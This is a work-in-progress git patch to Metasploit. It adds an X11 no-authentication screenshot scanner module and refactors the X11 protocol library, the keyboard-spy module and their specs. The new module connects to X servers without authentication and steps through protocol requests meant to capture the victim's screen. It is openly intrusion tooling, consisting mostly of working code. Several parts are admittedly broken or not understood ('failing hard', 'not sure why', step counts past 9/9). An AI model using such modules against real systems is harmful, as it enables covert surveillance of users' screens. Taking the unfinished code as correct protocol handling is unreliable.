From 75d007b44c446a79568d2d1fa33fe9fab9f90678 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 27 Feb 2024 12:52:22 -0500 Subject: [PATCH] WIP x11 screenshots and lib --- lib/msf/core/exploit/remote/x11.rb | 6 +- lib/msf/core/exploit/remote/x11/window.rb | 18 +- lib/msf/core/exploit/remote/x11/xkeyboard.rb | 2 +- modules/auxiliary/gather/x11_keyboard_spy.rb | 4 +- modules/auxiliary/scanner/x11/open_x11.rb | 44 +--- .../scanner/x11/open_x11_screenshot.rb | 212 ++++++++++++++++++ spec/lib/msf/core/exploit/remote/x11.rb | 29 ++- .../lib/msf/core/exploit/remote/x11/window.rb | 26 ++- 8 files changed, 269 insertions(+), 72 deletions(-) create mode 100644 modules/auxiliary/scanner/x11/open_x11_screenshot.rb diff --git a/lib/msf/core/exploit/remote/x11.rb b/lib/msf/core/exploit/remote/x11.rb index c9b0d49c0db8..5616d1c1250d 100644 --- a/lib/msf/core/exploit/remote/x11.rb +++ b/lib/msf/core/exploit/remote/x11.rb @@ -28,7 +28,7 @@ class X11GETPROPERTYRESPONSE < BinData::Record string :value_data, read_length: -> { value_length } end - class X11GETPROPERTY < BinData::Record + class X11GETPROPERTYREQUEST < BinData::Record endian :little uint8 :opcode, value: 20 # GetProperty uint8 :delete_field, initial_value: 0 # \x00 false, assuming \x01 true? @@ -118,12 +118,12 @@ class X11GETINPUTFOCUSREQUEST < BinData::Record uint16 :request_length, value: -> { num_bytes / 4 } end - class X11INTERNATOM < BinData::Record + class X11INTERNATOMREQUEST < BinData::Record endian :little uint8 :opcode, value: 16 #InternAtom uint8 :only_if_exists, initial_value: 0 # 0 false, 1 true? uint16 :request_length, value: -> { num_bytes / 4 } - uint16 :name_length, value: -> { name.to_s.length } + uint16 :name_length, value: -> { name.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding uint16 :unused, initial_value: 0 string :name, trim_padding: true end diff --git a/lib/msf/core/exploit/remote/x11/window.rb b/lib/msf/core/exploit/remote/x11/window.rb index 38d92298225e..9cc27c0c5d94 100644 --- a/lib/msf/core/exploit/remote/x11/window.rb +++ b/lib/msf/core/exploit/remote/x11/window.rb @@ -12,7 +12,7 @@ class GETREQUEST < BinData::Record uint8 :opcode # 3 = GetWindowAttributes, 14 = GetGeometry uint8 :unused # XXX seems to be increasing counter... uint16 :request_length, value: -> { num_bytes / 4 } - uint32 :window + uint32 :window # X11CONNECTION.screen_root end class GETWINDOWATTRIBUTESRESPONSE < BinData::Record @@ -35,7 +35,7 @@ class GETWINDOWATTRIBUTESRESPONSE < BinData::Record uint16 :do_not_propagate_mask end - class GetGeometryResponse < BinData::Record + class GETGEOMETRYRESPONSE < BinData::Record endian :little uint8 :depth @@ -52,8 +52,8 @@ class TRANSLATECOORDINATESREQUEST < BinData::Record uint8 :opcode, value: 40 # TranslateCoordinates uint8 :unused # XXX seems to be increasing counter... uint16 :request_length, value: -> { num_bytes / 4 } - uint32 :src_window - uint32 :dst_window + uint32 :src_window # X11CONNECTION.screen_root + uint32 :dst_window # X11CONNECTION.screen_root uint16 :src_x uint16 :src_y end @@ -63,7 +63,7 @@ class QUERYTREEREQUEST < BinData::Record uint8 :opcode, value: 15 # QueryTree uint8 :unused, value: 1 # XXX counter? uint16 :request_length, value: -> { num_bytes / 4 } - uint32 :drawable + uint32 :drawable # X11CONNECTION.screen_root end class QUERYTREERESPONSE < BinData::Record @@ -71,7 +71,11 @@ class QUERYTREERESPONSE < BinData::Record uint8 :root uint8 :parent_id uint16 :n_children - array :children, type: :uint32le, initial_length: :n_children - array :tree, type: :uint8, read_until: :eof + array :children, + type: :uint32le, + initial_length: :n_children + array :tree, + type: :uint8, + read_until: :eof end end diff --git a/lib/msf/core/exploit/remote/x11/xkeyboard.rb b/lib/msf/core/exploit/remote/x11/xkeyboard.rb index 6386f7296eef..9b8da4924d81 100644 --- a/lib/msf/core/exploit/remote/x11/xkeyboard.rb +++ b/lib/msf/core/exploit/remote/x11/xkeyboard.rb @@ -373,7 +373,7 @@ class BELLREQUEST < BinData::Record uint16 :pitch, initial_value: 0 uint16 :duration, initial_value: 0 uint16 :unused2 - uint32 :name, initial_value: 816 # XXX do we see this elsewhere? + uint32 :name, initial_value: 814 # XXX do we see this elsewhere? uint32 :window end end \ No newline at end of file diff --git a/modules/auxiliary/gather/x11_keyboard_spy.rb b/modules/auxiliary/gather/x11_keyboard_spy.rb index b482a4c6907f..a7145a08bcf5 100644 --- a/modules/auxiliary/gather/x11_keyboard_spy.rb +++ b/modules/auxiliary/gather/x11_keyboard_spy.rb @@ -44,7 +44,7 @@ def initialize(info = {}) 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [], - 'AKA' => ['xspy'] + 'AKA' => ['xspy'], 'RelatedModules' => [ 'auxiliary/scanner/x11/open_x11', ] @@ -185,7 +185,7 @@ def run sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base, drawable: connection.screen_root, gc_value_mask_background: 1).to_binary_s + - X11GETPROPERTY.new(window: connection.screen_root).to_binary_s) # not sure why we do this + X11GETPROPERTYREQUEST.new(window: connection.screen_root).to_binary_s) # not sure why we do this sock.get_once(-1, 1) vprint_status('(5/9) Checking on XKEYBOARD extension') diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index e71728001592..557b79469ea2 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -19,7 +19,7 @@ def initialize }, 'Author' => [ 'tebo ', # original module - 'h00die' # X11 library, screenshot updates + 'h00die' # X11 library ], 'References' => [ @@ -38,53 +38,13 @@ def initialize ) register_options([ - Opt::RPORT(6000), - OptBool.new('SCREENSHOT', [ false, 'Save a screenshot to loot', true ]), + Opt::RPORT(6000) ]) end - def take_screenshot(connection) - query_extension_calls = 0 - # query extension bit requests - sock.put(QUERYEXTENSION.new(extension: 'BIG-REQUESTS', unused2: query_extension_calls).to_binary_s) # check if BIG-REQUESTS exist, not sure why - query_extension_calls += 1 - big_requests_plugin = process_extension_query(sock.get_once(-1, 1), 'BIG-REQUESTS') - - # enable big requests - sock.put(EXTENSIONTOGGLE.new(opcode: big_requests_plugin.major_opcode).to_binary_s) # not sure why we do this - sock.get_once(-1, 1) - # createGC, GetProperties - sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base, - drawable: connection.screen_root, - gc_value_mask_background: 1).to_binary_s + - X11GETPROPERTY.new(window: connection.screen_root).to_binary_s) # not sure why we do this - sock.get_once(-1, 1) - # InternAtom wait - sock.put(X11INTERNATOM.new(name: "Wait").to_binary_s) - sock.get_once(-1, 1) - # xkeyboard-bell - sock.put(BELLREQUEST.new().to_binary_s) - sock.get_once(-1, 1) - # getwindowattributes+getgeometry - sock.put(X11GETPROPERTY.new(window: connection.screen_root, - property: 39, # WM_Name - get_property_type: 31 # string - ).to_binary_s) # not sure why we do this - # translatecoordinates - # getproperty - # InternAtom server_overlay_visuals - sock.put(X11INTERNATOM.new(name: "SERVER_OVERLAY_VISUALS").to_binary_s) - # getwindowattributes+getgeometry - # querytree - sock.put(QUERYTREEREQUEST.new().to_binary_s) - tree = QUERYTREERESPONSE.read(sock.get_once(-1, 1)) - # getwindowattributes+getgeometry - end - def run_host(ip) begin - connect sock.put(X11CONNECTIONREQUEST.new.to_binary_s) # x11 session establish packet = sock.get_once(-1, 1) diff --git a/modules/auxiliary/scanner/x11/open_x11_screenshot.rb b/modules/auxiliary/scanner/x11/open_x11_screenshot.rb new file mode 100644 index 000000000000..544900943b26 --- /dev/null +++ b/modules/auxiliary/scanner/x11/open_x11_screenshot.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Exploit::Remote::Tcp + include Auxiliary::Scanner + include Auxiliary::Report + include Exploit::Remote::X11 + + def initialize + super( + 'Name' => 'X11 No-Auth Screenshot Scanner', + 'Description' => %q{ + This module scans for X11 servers that allow anyone + to connect without authentication. It can optionally take + a screenshot as well. + }, + 'Author' => [ + 'tebo ', # original module + 'h00die' # X11 library, screenshot updates + ], + 'References' => [ + ['OSVDB', '309'], + ['CVE', '1999-0526'], + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [], + 'RelatedModules' => [ + 'auxiliary/gather/x11_keyboard_spy', + ] + } + ) + + register_options([ + Opt::RPORT(6000), + ]) + end + + def process_extension_query(packet, extension) + begin + extension_response = QUERYEXTENSIONRESPONSE.read(packet) + rescue ::EOFError + packet += sock + fail_with(Msf::Module::Failure::UnexpectedReply, "Unable to process QueryExtension Response. Raw packet: #{packet}") + end + + if extension_response.present == 1 + print_good(" Extension #{extension} is present with id #{extension_response.major_opcode}") + else + fail_with(Msf::Module::Failure::UnexpectedReply, "Extension #{extension} is NOT present (#{packet.inspect})") + end + extension_response + end + + def take_screenshot(connection) + query_extension_calls = 0 + + # query extension big-requests + vprint_status('(2/9) Checking on BIG-REQUESTS extension') + sock.put(QUERYEXTENSION.new(extension: 'BIG-REQUESTS', unused2: query_extension_calls).to_binary_s) # check if BIG-REQUESTS exist, not sure why + query_extension_calls += 1 + big_requests_plugin = process_extension_query(sock.get_once(-1, 1), 'BIG-REQUESTS') + + # enable big requests + vprint_status('(3/9) Enabling BIG-REQUESTS') + sock.put(EXTENSIONTOGGLE.new(opcode: big_requests_plugin.major_opcode).to_binary_s) # not sure why we do this + sock.get_once(-1, 1) + + # createGC, GetProperties + vprint_status('(4/9) Creating new graphical context') + sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base, + drawable: connection.screen_root, + gc_value_mask_background: 1).to_binary_s + + X11GETPROPERTYREQUEST.new(window: connection.screen_root).to_binary_s) # not sure why we do this + sock.get_once(-1, 1) + + # query extension xkeyboard + vprint_status('(5/9) Checking on XKEYBOARD extension') + sock.put(QUERYEXTENSION.new(extension: 'XKEYBOARD', unused2: query_extension_calls).to_binary_s) # check if XKEYBOARD exist, not sure why + xkeyboard_plugin = process_extension_query(sock.get_once(-1, 1), 'XKEYBOARD') + query_extension_calls += 1 + + # enable xkeyboard + vprint_status('(6/9) Enabling XKEYBOARD') + sock.put(EXTENSIONTOGGLE.new(opcode: xkeyboard_plugin.major_opcode, wanted_major: 1).to_binary_s) # use keyboard + sock.get_once(-1, 1) + + # InternAtom wait + vprint_status('(7/9) Setting wait on itern atom') + sock.put(X11INTERNATOMREQUEST.new(name_value: 'Wait').to_binary_s) + sock.get_once(-1, 1) + + # xkeyboard-bell + vprint_status('(8/9) Setting xkeyboard bell') + sock.put(BELLREQUEST.new(xkeyboard_id: xkeyboard_plugin.major_opcode).to_binary_s) + # sock.get_once(-1, 1) + + # getwindowattributes+getgeometry + # XXX this is getting a response of "Unkonwn request" + query_extension_calls += 1 # XXX not sure why, figure out where we're missing a call + vprint_status('(9/9) Getting root Window Attributes') + sock.put(GETREQUEST.new(window: connection.screen_root, + opcode: 3, # GetWindowAttributes + unused: query_extension_calls).to_binary_s + + GETREQUEST.new( + window: 1320, + opcode: 14, # GetGeometry + unused: query_extension_calls + 1 + ).to_binary_s) # not sure why we do this + sock.get_once(-1, 1) + query_extension_calls += 2 + + # translatecoordinates + vprint_status('(10/9) Getting coordinates translation') + sock.put(TRANSLATECOORDINATESREQUEST.new(src_window: connection.screen_root, dst_window: connection.screen_root).to_binary_s) + sock.get_once(-1, 1) + + # getproperty + vprint_status('(11/9) ') + sock.put(X11GETPROPERTYREQUEST.new(window: connection.screen_root).to_binary_s) + sock.get_once(-1, 1) + + # InternAtom server_overlay_visuals + vprint_status('(12/9) Setting Server Overlay Visuals on Itern Atom') + sock.put(X11INTERNATOMREQUEST.new(name_value: "SERVER_OVERLAY_VISUALS\x00\x00", + only_if_exists: 1).to_binary_s) + sock.get_once(-1, 1) + + # getwindowattributes+getgeometry + vprint_status('(13/9) Getting window attributes and geometry') + sock.put(GETREQUEST.new(window: connection.screen_root, + opcode: 3, + unused: 3).to_binary_s + + GETREQUEST.new(opcode: 14, + window: connection.screen_root).to_binary_s) + + # querytree + vprint_status('(14/9) Getting Tree') + sock.put(QUERYTREEREQUEST.new(drawable: connection.screen_root).to_binary_s) + # XXX typically in 2 packets + data = sock.get_once(-1, 1) + begin + data << sock.get_once(-1, 1) + rescue StandardError => e + puts e.inspect + end + trees = QUERYTREERESPONSE.read(data) + vprint_status(" Found #{trees.tree.length} trees") + + # getwindowattributes+getgeometry + vprint_status('(15/9) Getting window attributes and geometry for each tree') + puts trees.inspect + trees.tree.each do |t| + # XXX this loop is failing hard. + next if t == 0 + + # getwindowattributes+getgeometry + sock.put(GETREQUEST.new(window: t, + opcode: 3, + unused: 3).to_binary_s + + GETREQUEST.new(opcode: 14, window: t).to_binary_s) + sock.get_once(-1, 1) # this has both responses in it, so we need to split it to process it correctly + end + end + + def run_host(ip) + vprint_status('Establishing TCP Connection') + connect # tcp connection establish + vprint_status('(1/9) Establishing X11 connection') + sock.put(X11CONNECTIONREQUEST.new.to_binary_s) # x11 session establish + packet = sock.get_once(-1, 1) + begin + connection = X11CONNECTION.read(packet) + rescue EOFError + vprint_bad("Connection packet malfored (size: #{packet.length}), attempting to get read more data") + packet += sock.get_once(-1, 1) + end + + begin + connection = X11CONNECTION.read(packet) + if connection.success == 1 + print_good("#{ip} - Successly established X11 connection") + vprint_status(" Vendor: #{connection.vendor}") + vprint_status(" Version: #{connection.protocol_version_major}.#{connection.protocol_version_minor}") + vprint_status(" Screen Resolution: #{connection.screen_width_in_pixels}x#{connection.screen_height_in_pixels}") + vprint_status(" Resource ID: #{connection.resource_id_base.inspect}") + vprint_status(" Screen root: #{connection.screen_root.inspect}") + report_note( + host: ip, + proto: 'tcp', + sname: 'x11', + port: rport, + type: 'x11.server_vendor', + data: "Open X Server (#{connection.vendor})" + ) + + take_screenshot(connection) + else + vprint_error("#{ip} Access Denied") + end + rescue StandardError + vprint_bad('Failed to parse X11 connection initialization response packet') + end + + disconnect + end +end diff --git a/spec/lib/msf/core/exploit/remote/x11.rb b/spec/lib/msf/core/exploit/remote/x11.rb index 3edd6e4207a9..4e5835925c31 100644 --- a/spec/lib/msf/core/exploit/remote/x11.rb +++ b/spec/lib/msf/core/exploit/remote/x11.rb @@ -41,10 +41,15 @@ "\x3c\x01\x02\x00\x00\x00\x00\x02" end - let(:intern_atom) do + let(:intern_atom_wait) do "\x10\x00\x03\x00\x04\x00\x00\x00\x57\x61\x69\x74" end + let(:intern_atom_server_overlay_visuals) do + "\x10\x01\x08\x00\x16\x00\x00\x00\x53\x45\x52\x56\x45\x52\x5f\x4f" \ + "\x56\x45\x52\x4c\x41\x59\x5f\x56\x49\x53\x55\x41\x4c\x53\x00\x00" + end + describe 'handles GetProperty response' do it do response = Msf::Exploit::Remote::X11::X11GETPROPERTYRESPONSE.read(get_property_resp) @@ -56,9 +61,9 @@ describe 'handles GetProperty request' do it do - request = Msf::Exploit::Remote::X11::X11GETPROPERTY.new(window: 1320) + request = Msf::Exploit::Remote::X11::X11GETPROPERTYREQUEST.new(window: 1320) expect(request.to_binary_s).to eq(get_property) - request = Msf::Exploit::Remote::X11::X11GETPROPERTY.read(get_property) + request = Msf::Exploit::Remote::X11::X11GETPROPERTYREQUEST.read(get_property) expect(request.content_length).to eq(100_000_000) expect(request.window).to eq(1320) end @@ -104,18 +109,26 @@ end - describe 'creates a InternAtom request' do + describe 'creates InternAtom requests' do it do - request = Msf::Exploit::Remote::X11::X11INTERNATOM.read(intern_atom) + request = Msf::Exploit::Remote::X11::X11INTERNATOMREQUEST.new( + name: "Wait", + ) + puts request + expect(request.to_binary_s).to eq(intern_atom_wait) expect(request.opcode).to eq(16) expect(request.request_length).to eq(3) expect(request.name).to eq("Wait") expect(request.only_if_exists).to eq(0) - request = Msf::Exploit::Remote::X11::X11INTERNATOM.new( - name: "Wait", + request = Msf::Exploit::Remote::X11::X11INTERNATOMREQUEST.new( + name: "SERVER_OVERLAY_VISUALS\x00\x00", only_if_exists: 1 ) - expect(request.to_binary_s).to eq(intern_atom) + expect(request.to_binary_s).to eq(intern_atom_server_overlay_visuals) + expect(request.opcode).to eq(16) + expect(request.request_length).to eq(8) + expect(request.name).to eq("SERVER_OVERLAY_VISUALS") + expect(request.only_if_exists).to eq(1) end end diff --git a/spec/lib/msf/core/exploit/remote/x11/window.rb b/spec/lib/msf/core/exploit/remote/x11/window.rb index c238e595fd2c..b98ca8dfefdf 100644 --- a/spec/lib/msf/core/exploit/remote/x11/window.rb +++ b/spec/lib/msf/core/exploit/remote/x11/window.rb @@ -130,8 +130,10 @@ # test against packet pulled from wireshark response = Msf::Exploit::Remote::X11::Window::QUERYTREERESPONSE.read(querytree_response) puts response - expect(response.opcode).to eq(15) - expect(response.request_length).to eq(2) + expect(response.n_children).to eq(16) + expect(response.root).to eq(1) + expect(response.parent_id).to eq(0) + expect(response.tree.length).to eq(252) end end @@ -139,19 +141,25 @@ it do # test against packet pulled from wireshark response = Msf::Exploit::Remote::X11::Window::GETWINDOWATTRIBUTESRESPONSE.read(windowattributes_response) - puts response - expect(response.opcode).to eq(15) - expect(response.request_length).to eq(2) + expect(response.depth).to eq(1) + expect(response.visual_id).to eq(4352) + expect(response.class_name).to eq(0) + expect(response.backing_planes).to eq(2162688) + expect(response.backing_pixel).to eq(131072) end end describe 'handles GetGeometry response' do it do # test against packet pulled from wireshark - response = Msf::Exploit::Remote::X11::Window::GetGeometryResponse.read(getgeometry_response) - puts response - expect(response.opcode).to eq(15) - expect(response.request_length).to eq(2) + response = Msf::Exploit::Remote::X11::Window::GETGEOMETRYRESPONSE.read(getgeometry_response) + expect(response.depth).to eq(1) + expect(response.root).to eq(4608) + expect(response.x).to eq(0) + expect(response.y).to eq(10240) + expect(response.width).to eq(5) + expect(response.height).to eq(0) + expect(response.border_width).to eq(0) end end